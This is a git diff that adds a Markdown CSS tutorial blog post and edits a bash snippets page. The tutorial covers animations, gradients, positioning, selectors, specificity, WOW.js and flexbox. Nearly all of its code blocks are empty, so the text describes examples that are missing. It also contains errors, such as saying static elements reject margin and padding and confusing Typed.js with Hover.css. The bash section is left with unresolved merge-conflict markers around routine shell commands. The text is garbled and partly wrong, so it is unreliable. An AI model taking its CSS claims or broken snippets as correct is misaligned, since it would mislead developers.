+As was briefly touched on in the last post, it is a good idea to consolidate your resources as much as possible. While there is a good argument for keeping CSS modular during the development stage (such as keeping layout rules in one CSS file, color options in another, etc.) — ultimately you will want to consolidate all of these CSS rules into a single file for best performance.
+
+## Native CSS3 Animations
+
+Although popular libraries like [Animate.css](https://daneden.github.io/animate.css/) make it easy to add CSS animations to your project, they are largely comprised of common motions such as “bounce”, “shake” and other stock movements that can feel rather stale when overused. By taking advantage of the animation properties built in to CSS, you can create much more complex and customized animations far beyond just motion. CSS animations can effect element color, size, position or any other property available in the CSS3 specification. This post will give an introduction to getting started with the native CSS3 properties and some examples of possible uses for them.
+
+### Adding animation to an element
+
+To give an HTML element animation, the first two steps are to declare a name for the animation and a duration. This is done with the `animation-name` and `animation-duration` properties:
+
+```
+
+```
+
+`animation-duration` can accept any value in seconds or milliseconds (declared using `s` or `ms` after an integer).
+
+### Creating the animation
+
+Once you have declared a name and duration, it’s time to build the animation. This is done using the `@keyframes` rule, followed by the animation name:
+
+```
+
+```
+
+Inside of the `@keyframes` rule will be a rule for each “frame” of the animation, designated by a percentage value from `0%` to `100%`. `0%` is the very beginning of the animation, `100%` being the end, with any percentage values possible in between. This can be thought of much like a video or flipbook, where each page of the book is a unique frame that when combined, creates motion:
+
+```
+
+```
+
+In the example above, the `color-change` animation will change the `background-color` of the `#myAnimation` element from `black` at `0%`, to `gray` at `50%` then finally to `white` at `100%`.
+
+The power of using custom animations, though, is that you can change absolutely any CSS properties, with any level of incremental change in frames. A good example of this is for `:hover` pseudo-classes. CSS `:hover` states are often used to apply a color or minor stylistic change when an element is hovered over with a mouse, but animations allow these changes to be much more detailed.
+
+```
+
+```
+
+In the example above the `button-anim` animation effects any `button` element when it’s hovered over. Its `background-color` changes in four equal steps over a duration of 5 seconds, with the size of the element itself changing in discreet, unique steps as well (original, to 2.1x, to 2.5x, to then 1.5x the original).
+
+One additional property included in the example above is the `animation-fill-mode` property. This property can be used to indicate how styles should be applied before (and after) the duration of the animation has completed. Using `animation-fill-mode: forwards` indicates that the styles in the last frame of the animation (those in the `100%` rule) will remain applied. Without the addition of the `animation-fill-mode` property, the styles of `button` would revert back to their original state after the animation had completed.
+
+### Conclusion
+
+CSS animations can be very complex and detailed, with up to 100 distinct frames able to be specified. Considering this feature is available natively in vanilla CSS, they are a great way to add visual interest and complexity to a web project, well-supported in all modern browsers.
+
+## Using Color Gradients in CSS3
+
+Since the introduction of CSS3, it has been possible to use color gradients as a background, with 2 or more colors gradually fading into each other. Previously, creating gradients had to be done using Photoshop or other image editing software. Used effectively, this is a great way to add interest and even texture to webpage designs, beyond just static background colors. While legacy versions of Internet Explorer do not support this feature, you can safely add them to a project, as all modern browsers do support it. This post will take a look at using gradient backgrounds, and the available customization options.
+
+### Basic Linear Gradients
+
+To set the background of an element (whether it be the `body`, a `div`, or other element), the `background` property is used, typically with a color value:
+
+```
+
+```
+
+To use a linear gradient instead of a solid color, include at least two colors (using either hex, rgb, hsl, or named colors values), separated by commas, inside of the `linear-gradient()` value:
+
+```
+
+```
+
+### Vendor prefixes
+
+Since different browsers handle the `linear-gradient` value differently, it is highly recommended to use vendor prefixes along with it. This will ensure that the value is understood by Safari, Firefox, Chrome, and Opera. To use vendor prefixes, simply add 2 additional `background` rules with the `linear-gradient` value prefixed with `-webkit-` and `-moz-`. They should also appear before the regular rule without any vendor prefix:
+
+```
+
+```
+
+It’s a bit extra typing, but it ensures that your gradients will be supported across all major browsers.
+
+### Controlling direction
+
+By default, gradients will transition from top to bottom, with the first color included in the `linear-gradient` value being the top color.
+
+You can change the direction of the gradient, though, by adding some direction keywords before the colors (i.e. `to top`, `to bottom`, `to right`, `to left`, `to right top`, etc.)
+
+```
+
+```
+
+When setting the direction to a corner, either the x- or y- axis can be stated first (i.e. `to right bottom` and `to bottom right` are the same).
+
+### Multiple colors
+
+You can utilize more than two colors in a gradient, simply by comma separating them:
+
+```
+
+```
+
+or
+
+```
+
+```
+
+### Color Stops
+
+Sometimes you will want to control where a certain color begins, allowing for certain colors to take up more space or have a wider space to transition. To add these “color stops”, just add a percentage value after a given color, to designate where that color should begin:
+
+```
+
+```
+
+This is great for having finer control over your transitions, and can be used for interesting effects.
+
+### Radial Gradients
+
+One available variation on linear gradients are radial gradients. Radial gradients will transition from the center of the element, transitioning outward like a circle. They use almost the exact same syntax as linear gradients, just with the `radial-gradient` value instead:
+
+```
+
+```
+
+## An Overview of CSS Positioning
+
+One of the most important properties in CSS to understand is the `position` property. While much can be done to layout elements on a page without explicitly changing values for the `position` property, most [advanced layout issues](https://sunlightmedia.org/web-design-trends-2020/) will require knowing the different values available for this property. This blog post will take a look at the four main values for `position`, and the instances in which you might use each of them.
+
+### Position Static
+
+`static` is the default value of `position`, meaning that for any element you don’t explictly set any value for `position`, it will be `static` by default. Elements with a `position` of `static` will not accept any box offset properties, such as `margin` or `padding` .
+
+In the example below, each `div` will be stacked on top of each other, since each is a block-level element:
+
+```
+
+```
+
+```
+
+```
+
+### Position Relative
+
+Elements with a `position` of `relative` are very similar to the value of `static`, although with one major difference: they can accept box offset properties of `top`, `right`, `bottom`, and `left`.
+
+In the case of an element with a `position` of `relative`, these offset properties set the distance from the elements normal position. In other words, if you were to set an element with a `position` of `relative` to have a `top` value of `10px`, the element would appear `10px` lower than where it would normally appear if its `position` were `static`.
+
+Elements with a `position` of `relative` stay within the normal “flow” of elements, the box offset properties simply shifting the elements from its normal flow:
+
+```
+
+```
+
+```
+
+```
+
+### Position Absolute
+
+Elements with a `position` of `absolute` also accept box offset properties, although they are removed from the normal flow of elements. Using box offset properties on an `absolute` positioned element will position that element in direct relation to its parent element.
+
+Taking the exact same CSS as the `position: relative;` example above, but simply changing the `position` to `absolute` will result in entirely different positioning of the individual elements:
+
+```
+
+```
+
+```
+
+```
+
+### Position Fixed
+
+An element with a `position` of `fixed` is very similar to `position: relative;`, although the position is relative to the browser viewport, rather than any parent element. Additionally, the element will not scroll with the page, remaining “fixed” and always visible, regardless of where the user is at on the page. This is often used to “fix” headers and footers to the page, in order to always remain visible.
+
+## An overview of CSS Selectors
+
+In web development there are often numerous ways to achieve the same result. A key to writing good code (regardless of the language), is using the most efficient method possible, writing as little code as necessary and keeping the codebase to the absolute minimum. This will result in both faster page load times, as well as clarity in the source code for yourself and other developers. In writing CSS, it is important to know how to select the elements you want to target, and the best method to do so. This section will take a look at some of the most common CSS selectors, and the best instances in which to use each of them.
+
+### Type Selectors
+
+For every HTML element, there is a corresponding selector for that element type. Whether it be a `div`, `p`, `img` or any other HTML element, the corresponding CSS selector is exactly the same, minus the angle brackets used in the tag:
+
+```
+
+```
+
+Type selectors are ideal when you want to target *every* instance of a given element type and apply the same styles for all of them.
+
+### Class Selectors
+
+Class selectors utilize a class name associated with specific elements. This selector is ideal when you want to apply certain styles to a variety of a different elements, regardless of the element type. For example, you may have a class of `.responsive` applied to a `p`, `div` and `img` element:
+
+```
+
+```
+
+The following CSS code block will target all of these elements with the same class:
+
+```
+
+```
+
+Class selectors are always designated in a stylesheet using a period (`.`) before the class name.
+
+### ID Selectors
+
+ID selectors are similar to class selectors, although they can only be applied to a single element in a given HTML document. This is useful when you *only* want to target a single element:
+
+```
+
+```
+
+```
+
+```
+
+ID selectors are always designated in a stylesheet using the pound or hash sign (`#`) before the ID name.
+
+### Universal Selector
+
+The universal selector will target every single element in an HTML document. This is often used for CSS resets, such as removing default margin, padding and other styles from all elements:
+
+```
+
+```
+
+The universal selector is designated using the asterisk (`*`).
+
+## `:hover`
+
+Another common selector (and one of the many CSS “pseudo-classes”) is `:hover`. Adding this pseudo-class to any selector will target the element’s hover state. This means that these styles will *only* be applied when a user hovers over that element with their mouse:
+
+```
+
+```
+
+`:hover` is often used for links or any element you want to highlight when the user is hovering over it. This pseudo-class works well for laptop and desktop users, although has no real use for mobile devices, due to the lack of a mouse cursor.
+
+## Understanding specificity in CSS
+
+In the process of writing CSS code, you will invariably run into situations where the code you just wrote seems to have absolutely no effect at all on the page. This can be frustrating, confusing and difficult to troubleshoot without the aid of something like [Chrome Developer Tools](https://developer.chrome.com/devtools). However, having a better understanding of how specificity and the cascade in CSS works can go a long way in mitigating these issues altogether. This section will aim to point out some of the main issues that typically come up when trying to determine which piece of code is blocking what you’re trying to do.
+
+It is well known that CSS (which stands for Cascading Style Sheets) works from the top down. This means that, generally speaking, code that is further down in the document takes precedence over other code higher up. A simple example of this is having two declarations targeting the same element:
+
+```
+
+```
+
+The color of paragraph elements in this example will always be green, since it appears after the declaration assigning the color of blue to paragraphs.
+
+The problem is that selectors beyond just element selectors have varying levels of specificity, and combining selectors will increase their specificity, overriding other rules.
+
+### Elements and pseudo-elements
+
+Elements and pseudo-elements have the lowest level of specificity. Since they target *all* instances of a given element, using element selectors should only be used when you really want those styles to be applied to *all* instances of paragraphs, divs, headers, etc. For example, the following code will apply a 1px solid black border to all paragraph elements in the document.
+
+```
+
+```
+
+### Classes, attributes and pseudo-classes
+
+Classes, attributes and pseudo-classes have a higher level of specificity, and will only apply to elements associated with them. They are reusable, in the sense that you can have classes applied to multiple different elements, whenever you want them to share the same styles. These styles will also override styles that conflict with those at the element level. In the example below, all paragraph elements will be green, except for any with the class of `alert`, which will be red:
+
+```
+
+```
+
+### IDs
+
+IDs have one of the highest levels of specificity, and will override almost anything. Unlike classes which can be reused as many times as you want, IDs are only supposed to be applied to a *single* element on the page.
+
+```
+
+```
+
+Even though there are two further declarations for paragraphs underneath the `p#myParagraph` declaration, the ID of `#myParagraph` will always be black.
+
+### Inline styles
+
+Inline styles have an even higher level of specificity than IDs. While it is generally very frowned upon to apply any styles inline, as it makes it difficult to find and manage the styles applied to elements, there are situations where it can be justified.
+
+```
+
+```
+
+The above inline style will always be red, regardless of what styles are applied elsewhere.*
+
+## `!important`
+
+The one caveat to the above, even including inline styles, is the use of `!important`. Whenever `!important` is added to a CSS rule, this rule will take precedence over all else, always, no matter what:
+
+```
+
+```
+
+`!important` can be a lifesaver when you cannot figure out what is blocking your CSS, but it can also be easily abused and just make your code more of a mess. As a general rule, use `!important` only when all else fails.
+
+An extremely handy tool for better understanding and checking specificity is [Keegan Street’s Specificity Calculator](https://specificity.keegan.st/). Whenever in doubt, it can very useful to check your selectors here.
+
+## Using WOW.js and Animate.css for Scroll-Triggered Animations
+
+Animations are a great way to add visual excitement and motion to your websites, and the popular [animate.css](https://daneden.github.io/animate.css/) library has provided an easy way to add CSS-based animations to any website. What if you want to only trigger these animations once the user has scrolled to a specific section of your website, though?
+
+This can of course be accomplished via jQuery, but using the JavaScript library for that function alone adds unnecessary bulk for a function that can otherwise be accomplished by a simple script. WOW.js solves this problem, offering an easy-to-use library for adding animations triggering by scrolling, with no jQuery required, in only 3kB.
+
+[This post will provide a guide on using WOW.js and animate.css for your web projects, including various options available for installing it.Click To Tweet](https://twitter.com/share?text=This+post+will+provide+a+guide+on+using+WOW.js+and+animate.css+for+your+web+projects%2C+including+various+options+available+for+installing+it.&url=https://sunlightmedia.org/css-tricks/)
+
+If you are interested in learning about different animations besides scroll effects, head to the last section of this blog post for a list of other CSS and Javascript animation libraries.
+
+### About animate.css
+
+Using CSS animations is a straightforward and easy method to add eye-catching visual effects to any HTML website. One of the most popular libraries for CSS animations is animate.css. While the library may be small, it is a perfect tool for novice web developers who are looking to add more spunk to their website without the complex use of keyframing. While this blog post will mainly be discussing how to use WOW.js, the animate.css file is extremely versatile and can be used with other files as well.
+
+Some of the many animations that you can add to elements on your site include:
+
+* **Static animations**: These types of animations appear right when you load and open up a webpage. In other words, no scrolling (WOW.js) involved!
+* **Scroll animations**: These types of animations appear when the user scrolls into the element’s view on a webpage. This is the type of animation we will be focusing on with WOW.js. This animation can also be created with jQuery.
+* **Click animations**: With a combination of jQuery and Javascript programming, you can create animations on your website that run when the user clicks on a certain element.
+* **“Special” animations**: These quirkier animations can be used on elements when you really want to capture the user’s attention instantly with an eye-catching animation.
+
+### About WOW.js
+
+WOW.js is a Javascript file that, when added to your HTML document, can create compelling and dynamic effects on a site. This scroll effect is one of the most popular options for web designers, as it used to be licensed as open-source code under MIT. When you are on a website that implements WOW.js, the animated elements will magically appear as you scroll down the site. For an example of this effect, visit the official website for [WOW.js](https://wowjs.uk/). It is a great design tool to utilize with animate.css.
+
+Compared to other animation options with Javascript, WOW.js is extremely popular for its simple, bulk-free code. Note that you can use other CSS animation libraries to activate WOW.js; WOW.js just treats animate.css as its default library. This includes libraries such as CSShake or DynCSS. WOW.js is free to use for open source project, although requires purchase of a license for any commercial projects.
+
+### Adding animate.css and WOW.js to your project
+
+In order to start animating your website, the first step is to add animate.css and WOW.js to your HTML document. There are a few ways you can go about adding the files into your HTML project. You can download the distribution for animate.css and WOW.js from each of their respective official sites, or simply link to the files available from [CDN](https://cdnjs.com/). CDN hosts a vast collection of libraries for Javascript and CSS.
+
+A major benefit of using animate.css for your website is that the CSS code is held in just one file, which simplifies your project *immensely*. Once you add the CSS file to your project, all you must do is link it to your HTML in the head of the document. Alternatively, you can simply link the CDN file to your HTML document. Depending on whether you directly add the animate.css file or simply link to the CDN file, only the href will slightly vary:
+
+<head>
+
+<link rel=“stylesheet” type=“text/css” href=“animate.css”>
+
+<link rel=“stylesheet” type=“text/css” href=“[https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.5.2/animate.css”](https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.5.2/animate.css%E2%80%9D)>
+
+</head>
+
+### Install animate.css and WOW.js
+
+Click the links below to view the animate.css and WOW.js files on CDN:
+
+* animate.css Non-minified Version: [](https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.5.2/animate.css)<https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.5.2/animate.css>
+* animate.css Minified Version: [](https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.5.2/animate.min.css)<https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.5.2/animate.min.css>
+* WOW.js Non-Minified Version: [](https://cdnjs.cloudflare.com/ajax/libs/wow/1.1.2/wow.js)<https://cdnjs.cloudflare.com/ajax/libs/wow/1.1.2/wow.js>
+* WOW.js Minified Version: [](https://cdnjs.cloudflare.com/ajax/libs/wow/1.1.2/wow.min.js)<https://cdnjs.cloudflare.com/ajax/libs/wow/1.1.2/wow.min.js>
+
+(Note: “Minified” code refers to the removal of white space and shorter characters in order to preserve functionality but create more compact file sizes. This will make the code more difficult to read and edit for those who want to customize or make changes to the code.)
+
+### Using npm to install animate.css and WOW.js
+
+Alternatively, you can use a package manager such as npm (Javascript package manager) to install both animate.css and WOW.js just by merely typing a few keywords into the command line. From the root of your project directory, run the following command from the command line:
+
+**npm install wowjs**
+
+One benefit of installing WOW.js via npm is that it automatically also installs animate.css as a dependency. This way, you do not need to concern yourself over following the instructions of downloading animate.css with one of the options discussed above. Similar to adding the file directly or using CDN, animate.css will be linked in theof your document (the href path will differ depending on the file location):
+
+<link rel=“stylesheet” href=“node_modules/animate.css/animate.css”>
+
+For the script, you can add WOW.js to your website by linking it at the bottom of your HTML document, just below the closing tag. This must be followed by a <script> tag to activate WOW.js, as demonstrated below:
+
+<script src=“node_modules/wowjs/dist/wow.min.js”></script>
+
+<script>
+
+new WOW().init();
+
+</script>
+
+### Adding animations to elements
+
+Once both files are added to the project, it’s time to select the HTML elements that you’d like to animate upon scrolling. Any element with a class of .wow will remain hidden until the user reaches it on the page. You can apply this class to headings, text, images, or even a larger portion of your website enclosed in a <div> tag.
+
+Add a class of .wow to any HTML element you’d like to animate with WOW.js, such as an h1 element:
+
+<h1 class=“wow”>Welcome to my site!</h1>
+
+Animate.css has 75 different animation styles to choose from, all of which can be demoed on the official site (see above). Once you’ve selected an animation you’d like to use, add its name as a CSS class on the element to animate, along with the class “wow.” Here are a few examples of animate.css and WOW.js in action on your HTML document:
+
+<h1 class=“wow fadeInRight”>Welcome to my site!</h1>
+
+The h1 element will now fade in right once the user has scrolled to it on the page.
+
+<div class=“wow pulse”>Click here</div>
+
+The content enclosed in the <div> tag will now create a pulsing effect on the site once the user has scrolled to it on the page.
+
+### Alterations to WOW.js Animations
+
+There are slight adjustments that can be made to the CSS animations through some in-line editing on your HTML document. You can add these four properties after **class = “wow”** and even combine them within any HTML tag. Essentially, these simply properties are a great and effortless way for users to add versatility to the scroll animations. Below are descriptions of the four properties you can alter when animating an HTML element with WOW.js:
+
+* **data-wow-delay=“_s”**: Typically, the element automatically appears when the user scrolls to its location. With this property, you can delay the animation for _ seconds.
+* **data-wow-duration=“_s”**: You can make the animation last _ seconds, which is useful for speeding up or slowing down the element’s appearance.
+* **data-wow-iteration=“_”**: With this property, you can make the animation repeat, or iterate, _ times before it turns static on your page.
+* **data-wow-offset=“_”**: This property allows the animation to start _ pixels from the browser edge before animating.
+
+### Alternative Animation Libraries to animate.css and WOW.js
+
+## [Bounce.js](http://bouncejs.com/)
+
+Bounce.js is an easy-to-use tool to create stunning CSS3 and Javascript animations for your website in just minutes. Developers can experiment with a list of various animations on the Bounce.js web tool to generate static keyframes and even customize the animations directly in the web browser. When the animation satisfies your standards, you can export the CSS code directly from the site and paste it into your project. Then, you can use the animations that you created in the web browser and directly apply it to elements on your HTML document. The web tool even generates a unique, shortened URL that allows you to access your animation on a new web browser in case you want to make edits to it at any time.
+
+To learn more about creating animations with Javascript and installing the Bounce.js library into your project, you can follow the instructions for installing the Bounce.js library on its [Github site](https://github.com/tictail/bounce.js).
+
+## [Anime.js](http://animejs.com/)
+
+Another popular animation library is Anime.js, which utilizes CSS properties, Javascript objects, SVG, and DOM attributes to create impressive animations. Julian Garnier’s collection features dozens of seamless animations that you can directly add to your own site. You can view the various animations created with Anime.js on the Anime.js Codepen collection. Unlike WOW.js, this animation library is not necessarily used to animate HTML elements on a site. Rather, Anime.js is used to create separate animated “illustrations” for your website altogether to add to its visual appeal. Some of my favorites include Garnier’s [line drawing animation](https://codepen.io/juliangarnier/pen/ZeEpgd) and the [layered animations demonstration](https://codepen.io/juliangarnier/pen/LMrddV). To add the Anime.js library to your project, you can install via npm.
+
+View the directions and documentation for using Anime.js on the [Github site](https://github.com/juliangarnier/anime).
+
+## [Hover.css](http://ianlunn.github.io/Hover/)
+
+Hover.css produces eye-catching effects on your website by simply hovering your mouse over animated elements. You can use this animation library to add more spunk to ordinary, 2D elements such as buttons, logos, or images. On the Hover.css website, you can browse and test the various animations such as background, 2D, shadow, and outline transitions by hovering your mouse over each button. Those who plan on using one or few Hover.css animations can simply download the file and copy/paste the specific animation into their own stylesheets. However, if you plan on using many Hover.css animations, then you can essentially follow the same procedure of installing and linking the Hover.css stylesheet to your HTML document. You will have access to all Hover.css effect to animate any appropriate HTML element on your site.
+
+To view the specific instructions and documentations for installing and using Hover.css, go to the official [Github site](https://github.com/IanLunn/Hover/blob/master/README.md#hovercss).
+
+## [Typed.js](https://mattboldt.com/demos/typed-js/)
+
+To create the iconic typewriter or typing effect, a popular option for web developers is to use Typed.js. Many websites use this animation library to create string-typing effects on pages, including the popular group workspace platform, Slack. Simply install the Hover.css library via npm or link the CDN file to your HTML document. With essentially one <script> tag, you can animate an HTML text tag with the typewriter effect. With enough tweaking, you can create more advanced typing effects on your website for an even more stunning effect. For instance, you can create the effect of the computer pausing as it types or the effect of deleting letters in a word.
+
+The official [Github site](https://github.com/mattboldt/typed.js/) includes all of the source code and detailed documentation on how you can customize the typing animation to meet your personal preferences.
+
+## [CSShake](https://elrumordelaluz.github.io/csshake/)
+
+As the title implies, this CSS library is a collection of animations that all “shake” HTML elements on your website. This quirky animation is perfect if you want to draw attention to a certain image or section of your website. It also makes the elements of your website more interactive, which is always a plus for front-end development. You can experiment with the variation of shake animations yourself on the CSShake website by hovering over different elements on the page. The source code on CSShake Github also includes detailed documentation that describes how to create your own custom shake animations. You will have to understand and learn to adjust the jQuery properties by reading the documentation.
+
+When you are ready to install CSShake onto your own project, follow the instructions for installation on the [Github site](https://github.com/elrumordelaluz/csshake).
+
+## Introduction to CSS flexbox & Advanced CSS Selectors
+
+CSS `Flexbox` (or Flexible Box Layout) was a late addition to the CSS3 specification, aiming to address many of the layout issues of a webpage, especially when working with multiple device sizes and responsive web design. While the more recent CSS `grid` properties are capable of creating complex grid-based layouts, `flexbox` is often a better choice for laying out small groups of components within a larger layout, generally with far less code than when using `grid`. This post will give a short introduction to using the flexbox properties for common layout issues.
+
+### `display: flex`
+
+The first step to creating a flexbox is applying a `display: flex` property to a parent element that will act as a container for all flex items within it.
+
+While most layouts will require the use of additional properties. A simple 2-column layout can be created using this property alone.
+
+For example, we can take a container with 2 `div` elements stacked on top of each other, and transform it into a 2-column layout with the addition of the `display: flex` property:
+
+**Original Code**:
+
+**HTML**
+
+```
+
+```
+
+**CSS**:
+
+```
+
+```
+
+**CSS with flexbox**:
+
+```
+
+```
+
+### `flex-direction`
+
+We can add additional control over the flow of elements in our flex container via the `flex-direction` property. By default all elements within a flex container will flow in a `row` from left to right, although we can also set this property to have values of `column`, `row-reverse` or `column-reverse`.
+
+### Adjusting spacing and alignment with `justify-content`
+
+Oftentimes there will be more space in a container than what the elements within it take up, so it is likely that you’ll want to justify the spacing of the elements in a certain way. By default, all elements within a flex container will align to the very beginning of the container (referred to as `flex-start`) but there are a variety of other options. Note that the actual position will vary depending on the the setting of `flex-direction`: if the direction is set as `row` then `flex-start` will indicate all the way to the left of the container, while a direction of `column` would indicate the very top of the container for `flex-start`.
+
+Returning to our original code example, we’ll increase the `width` of our container a bit to better show the different `justify-content` settings.
+
+`justify-content: center` will place all of the elements directly in the center of the column:
+
+```
+
+```
+
+```
+
+```
+
+`justify-content: flex-end` is the opposite of `justify-content: flex-start`, placing the elements at the very end of the container:
+
+`justify-content: space-between` will place all elements on each end of the container, leaving whatever space remains at the center of the container, as well as around any additional elements inside (in instances of a container with 3 or more elements):
+
+`justify-content: space-around` is just like `spae-between`, although there is additional space on the very ends of the container:
+
+There are numerous other more advanced selectors though, for the purpose of targeting elements with a greater level of specificity. Being familiar with the right selector for the job is one of the most important aspects of learning CSS. This post will highlight some of the most useful advanced selectors for targeting elements.
+
+### Child Selectors
+
+Child selectors are used to target elements nested in one another. There are two different kinds of Child selectors, descendant and direct child selectors.
+
+### Descendant Selectors
+
+Descendant selectors are used to to target a given element (or group of elements), regardless of where they are nested in their parent element. For example:
+
+```
+
+```
+
+would target both instances of the `p` element in the following HTML:
+
+```
+
+```
+
+### Direct Child Selectors
+
+If you only want to target elements that are in the next level down from the parent element, the Direct Child selector is the one to use.
+
+```
+
+```
+
+would only select the first `p` element in the following HTML:
+
+```
+
+```
+
+### Sibling Selectors
+
+### General Sibling Selectors
+
+General Sibling selectors will select any element on the same nested level that appears after the first sibling. For example:
+
+```
+
+```
+
+will target the 2 noted `div` elements that appear after the `h1`, but not the one before it, or any that might be nested on further levels:
+
+```
+
+```
+
+### Adjacent Sibling Selectors
+
+The Adjacent Sibling selector is used to target elements that appear *directly* after a given element. For example:
+
+```
+
+```
+
+will only target the `p` element right after the `h1`:
+
+```
+
+```
+
+### Pseudo-classes
+
+In the previous CSS selectors post, we touched on pseudo-classes via the `:hover` selector. There are many other pseudo-classes, however, such as `:link`, `:visited`, `:active` and more.
+
+To style an `a` link that hasn’t been visited yet, use the `:link` selector:
+
+```
+
+```
+
+To stlye an `a` link that has been visited, use the `:visited` selector:
+
+```
+
+```
+
+The `:active` selector can be used for whenever a user engages with an element, such as clicking on it:
+
+```
+
+```
+
+`:focus` is used whenever an element has “focus”, such as a form element when the user has entered it via a mouse or keyboard click:
+
+```
+
+```
+
+## Conclusion
+
+Do you find something useful CSS tricks in this post? Please share your comments below.
+
+**Author Bio**
+
+Angelo has been involved in the creative IT world for over 20 years. He built his first website back in 1998 using Dreamweaver, Flash and Photoshop. He expanded his knowledge and expertise by learning a wider range of programming skills, such as HTML/CSS, Flash ActionScript and XML.
+
+Angelo completed formal training with the CIW (Certified Internet Webmasters) program in Sydney Australia, learning the core fundamentals of computer networking and how it relates to the infrastructure of the world wide web.
+
+Apart from running Sunlight Media, Angelo enjoys writing informative content related to web & app development, digital marketing and other tech related topics.
+
+<!--EndFragment-->
\ No newline at end of file
diff --git a/src/pages/docs/docs/bash.md b/src/pages/docs/docs/bash.md
index 5a40062f79..0d0d68eef9 100644
--- a/src/pages/docs/docs/bash.md
+++ b/src/pages/docs/docs/bash.md
@@ -618,14 +618,24 @@ By <a href="https://medium.com/@bryanguner" class="p-author h-card">Bryan Guner<
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 find . -name "* *" -type d | rename 's/ /_/g'
 find . -name "* *" -type f | rename 's/ /_/g'
 ```
 
+<<<<<<< HEAD
 ```sh
 
 ```sh
+=======
+````console
+
+```console
+>>>>>>> master
 find $dir -type f | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
 
 find $dir -type d | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
@@ -651,7 +661,7 @@ fs.writeFile('output.md', cat, err => {
   if (err) throw err;
 });
 
-```
+````
 
 ---
 
@@ -663,7 +673,11 @@ fs.writeFile('output.md', cat, err => {
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 wget --limit-rate=200k --no-clobber --convert-links --random-wait -r -p -E -e robots=off -U mozilla https://bootcamp42.gitbook.io/python/
 
@@ -679,7 +693,11 @@ wget --limit-rate=200k --no-clobber --convert-links --random-wait -r -p -E -e ro
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find . -empty -type d -print -delete
 
@@ -701,7 +719,11 @@ find . \( -name "*SECURITY.txt" -o -name "*RELEASE.txt" -o  -name "*CHANGELOG.tx
 
 # Generalized:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 CNTX={users|orgs}; NAME={username|orgname}; PAGE=1
 curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=100" |
@@ -712,7 +734,11 @@ curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=100" |
 
 # Clone all Git User
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 CNTX={users}; NAME={bgoonz}; PAGE=1
 curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=master |
   grep -e 'git_url*' |
@@ -723,7 +749,11 @@ curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=m
 
 # Clone all Git Organization:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 CNTX={organizations}; NAME={TheAlgorithms}; PAGE=1
 curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=master |
@@ -741,7 +771,11 @@ curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=m
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 git pull
 git init
 git add .
@@ -749,14 +783,22 @@ git commit -m"update"
 git push -u origin master
 ```
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 git init
 git add .
 git commit -m"update"
 git push -u origin main
 ```
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git init
 git add .
@@ -764,14 +806,22 @@ git commit -m"update"
 git push -u origin bryan-guner
 ```
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 git init
 git add .
 git commit -m"update"
 git push -u origin gh-pages
 ```
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 git init
 git add .
 git commit -m"update"
@@ -788,7 +838,11 @@ git push -u origin preview
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find . -name "*.zip" | while read filename; do unzip -o -d "`dirname "$filename"`" "$filename"; done;
 
@@ -806,7 +860,11 @@ find . -name "*.zip" -type f -print -delete
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git stash
 git pull
@@ -824,7 +882,11 @@ git stash pop
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 sudo npm i prettier -g
 
@@ -842,7 +904,11 @@ prettier --write .
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find ./ -iname "*.md" -type f -exec sh -c 'pandoc --standalone "${0}" -o "${0%.md}.html"' {} \;
 
@@ -862,7 +928,11 @@ find ./ -iname "*.docx" -type f -exec sh -c 'pandoc "${0}" -o "${0%.docx}.md"' {
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 sudo apt install tree
 sudo apt install pandoc -y
 sudo apt install rename -y
@@ -874,7 +944,11 @@ npm i npm-recursive-install -g
 
 ```
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 black .
 
 prettier --write .
@@ -891,7 +965,11 @@ npm-recursive-install
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 npm i @bgoonz11/repoutils
 
 ```
@@ -906,7 +984,11 @@ npm i @bgoonz11/repoutils
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 tree -d -I  'node_modules'
 
 tree  -I  'node_modules'
@@ -933,7 +1015,11 @@ tree -f >README.md
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find . -type f -exec rename 's/string1/string2/g' {} +
 
@@ -961,7 +1047,11 @@ find . -type d -exec rename 's/es6//g' {} +
 
 ###### code:
 
